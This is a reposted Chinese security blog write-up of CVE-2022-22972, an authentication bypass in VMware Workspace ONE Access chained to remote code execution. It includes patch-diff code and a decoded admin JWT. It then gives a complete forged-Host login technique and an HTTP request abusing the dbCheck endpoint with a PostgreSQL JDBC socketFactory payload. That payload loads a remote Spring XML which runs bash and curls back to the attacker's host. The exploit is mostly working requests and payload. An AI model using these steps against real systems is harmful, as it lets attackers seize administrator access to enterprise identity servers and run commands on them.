原文始发于Y4er:CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE
补丁对比
HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter,匹配全路由
然后删除了DBConnectionCheckController,这个地方有jdbc attack。
权限绕过
查看HostHeaderFilter代码
package com.vmware.horizon;
import com.google.common.annotations.VisibleForTesting;
import com.tricipher.saas.action.api.GlobalConfigService;
import com.vmware.horizon.common.utils.HorizonPropertyHolder;
import com.vmware.horizon.common.utils.system.ApplianceNetworkDetails;
import com.vmware.horizon.common.utils.system.ApplianceUtil;
import java.io.IOException;
import java.util.Optional;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@Component("HostHeaderFilter")
public class HostHeaderFilter implements Filter {
private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class);
private static final String LOCALHOST = "localhost";
private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1";
private static final int INVALID_HOST_NAME_STATUS_CODE = 444;
@Autowired
private HorizonPropertyHolder horizonPropertyHolder;
@Autowired
private ApplianceUtil applianceUtil;
@Autowired
private GlobalConfigService globalConfigService;
private ApplianceNetworkDetails applianceNetworkDetails = null;
private Boolean isOnPremise;
private Boolean isSingleTenant;
public HostHeaderFilter() {
this.isOnPremise = Boolean.FALSE;
this.isSingleTenant = Boolean.FALSE;
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
this.isOnPremise = this.globalConfigService.isServiceOnPrem();
this.isSingleTenant = this.globalConfigService.isServiceSingleTenant();
if (this.applianceNetworkDetails == null) {
this.applianceNetworkDetails = (ApplianceNetworkDetails)Optional.ofNullable(this.applianceUtil.getApplianceNetworkDetails()).orElse(new ApplianceNetworkDetails());
}
if (request != null && request instanceof HttpServletRequest) {
HttpServletRequest httpServletRequest = (HttpServletRequest)request;
String serverName = httpServletRequest.getServerName();
if (StringUtils.isNotBlank(httpServletRequest.getHeader("Host")) && StringUtils.isNotBlank(serverName)) {
serverName = serverName.trim();
String gatewayHostName = StringUtils.isNotBlank(this.horizonPropertyHolder.getGatewayHostName()) ? this.horizonPropertyHolder.getGatewayHostName().trim() : "";
boolean isValidServerName = this.isServerNameAmongTheValidList(serverName, gatewayHostName);
if (!isValidServerName) {
isValidServerName = this.isServerNameValidForMultiTenantOnPremOrCloudCase(serverName, gatewayHostName);
}
if (!isValidServerName) {
log.error("Rejecting request since host header value does not match configured gateway.hostname or localhost or appliance hostname/IP address: {} ", serverName);
if (response instanceof HttpServletResponse) {
((HttpServletResponse)response).setStatus(444);
}
return;
}
}
}
filterChain.doFilter(request, response);
}
public void destroy() {
}
private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) || serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
}
private boolean isServerNameValidForMultiTenantOnPremOrCloudCase(String serverName, String gatewayHostName) {
if (!this.isSingleTenant || !this.isOnPremise) {
String gatewayDomainName = this.getDomainFromHostname(gatewayHostName);
if (StringUtils.isNotBlank(gatewayDomainName) && serverName.toLowerCase().endsWith(gatewayDomainName.toLowerCase())) {
return Boolean.TRUE;
}
}
return Boolean.FALSE;
}
@VisibleForTesting
String getDomainFromHostname(String hostname) {
return StringUtils.isNotBlank(hostname) && hostname.indexOf(46) > 0 ? StringUtils.substring(hostname, hostname.indexOf(".") + 1).trim() : "";
}
}
JAVA
可见对host做了判断,那么伪造host为我们自己的http服务呢?
在登录请求包中修改host为我们的恶意服务端
发现服务器对我们的恶意服务端发起了请求。
随便给一个host
此时查看log发现vm在尝试解析主机名并对其发起了请求。
回溯堆栈,在com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login
中
将传入的账号密码调用本地密码服务发起http请求api来鉴权,然后通过generateSuccessResponse()返回授权成功,其中endpoint来自于com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl
这里用request.getServerName()
造成了可以伪造host来控制授权服务。
接着来把host设置为dnslog,看一下请求中包含的东西
此时响应包中返回了授权成功的cookie
jwt解出来
{
"jti": "3b448f71-f384-481c-be2d-8e91f7062208",
"prn": "admin@VM",
"domain": "System Domain",
"user_id": "5",
"auth_time": 1653647444,
"iss": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth",
"aud": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth/oauthtoken",
"ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653647444,\"id\":3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]",
"scp": "profile admin user email operator",
"idp": "2",
"eml": "[email protected]",
"cid": "",
"did": "",
"wid": "",
"rules": {
"expiry": 1653676244,
"rules": [
{
"name": null,
"disabled": false,
"description": null,
"resources": [
"*"
],
"actions": [
"*"
],
"conditions": null,
"advice": null
}
],
"link": null
},
"pid": "3b448f71-f384-481c-be2d-8e91f7062208",
"exp": 1653676244,
"iat": 1653647444,
"sub": "d054089a-6044-4486-b534-8b0dd105f803",
"prn_type": "USER"
}
JSON
由此就绕过了鉴权。
rce
jdbc postgresql rce
POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1
Host: vm.test.local
Cookie: HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJwcm4iOiJhZG1pbkBWTSIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjoiNSIsImF1dGhfdGltZSI6MTY1MzY0NzgwMiwiaXNzIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoL29hdXRodG9rZW4iLCJjdHgiOiJbe1wibXRkXCI6XCJ1cm46dm13YXJlOm5hbWVzOmFjOmNsYXNzZXM6TG9jYWxQYXNzd29yZEF1dGhcIixcImlhdFwiOjE2NTM2NDc4MDIsXCJpZFwiOjMsXCJ0eXBcIjpcIjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAxNFwiLFwiaWRtXCI6dHJ1ZX1dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImxvY2FsQWRtaW5AZXhhbXBsZS5jb20iLCJjaWQiOiIiLCJkaWQiOiIiLCJ3aWQiOiIiLCJydWxlcyI6eyJleHBpcnkiOjE2NTM2NzY2MDIsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmFsc2UsImRlc2NyaXB0aW9uIjpudWxsLCJyZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0aW9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm51bGx9LCJwaWQiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJleHAiOjE2NTM2NzY2MDIsImlhdCI6MTY1MzY0NzgwMiwic3ViIjoiZDA1NDA4OWEtNjA0NC00NDg2LWI1MzQtOGIwZGQxMDVmODAzIiwicHJuX3R5cGUiOiJVU0VSIn0.OJnqYjukOzG4ev45jp0eNtyy97oirmYOLnhDgGtQQZLipmqhVHvRoSKIRg3rtAiXWurL4HbnTqjLtkQARU1K4D8ufnqiVgob0lzTfoa43GQ2XqFdzvekoHpr4_72a7egn4blB1PiOj_qi3sGmbwPbPPHYv3rRGaRroRsPFRFw-JWWRhSoNa34ggkm3_3XFP25ebXoi6-aHQUh_UzWmW6T-KUcEehGA46vOWdMek0UbyjCe-7e1NPwwf-TeJievzthPubiTWB5lTV25OC5S1B-o715t3nc4j4VDUzh3LBsDpNbM_S4g7Mf9ChQUHiM2GbXEhRI3ot9wCDPXBr2vysjQ;
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
jdbcUrl=jdbc:postgresql://localhost/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=http://192.168.1.178:9091/exp.xml&dbUsername=&dbPassword=
FALLBACK
exp.xml如下
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>curl 192.168.1.178:9091/pwned</value>
</list>
</constructor-arg>
</bean>
</beans>
XML
总结
挺离谱的洞
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
版权声明:admin 发表于 2022年5月30日 上午10:44。
转载请注明:CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE | CTF导航
转载请注明:CVE-2022-22972 VMware Workspace ONE Access Authentication Bypass RCE | CTF导航
相关文章
暂无评论...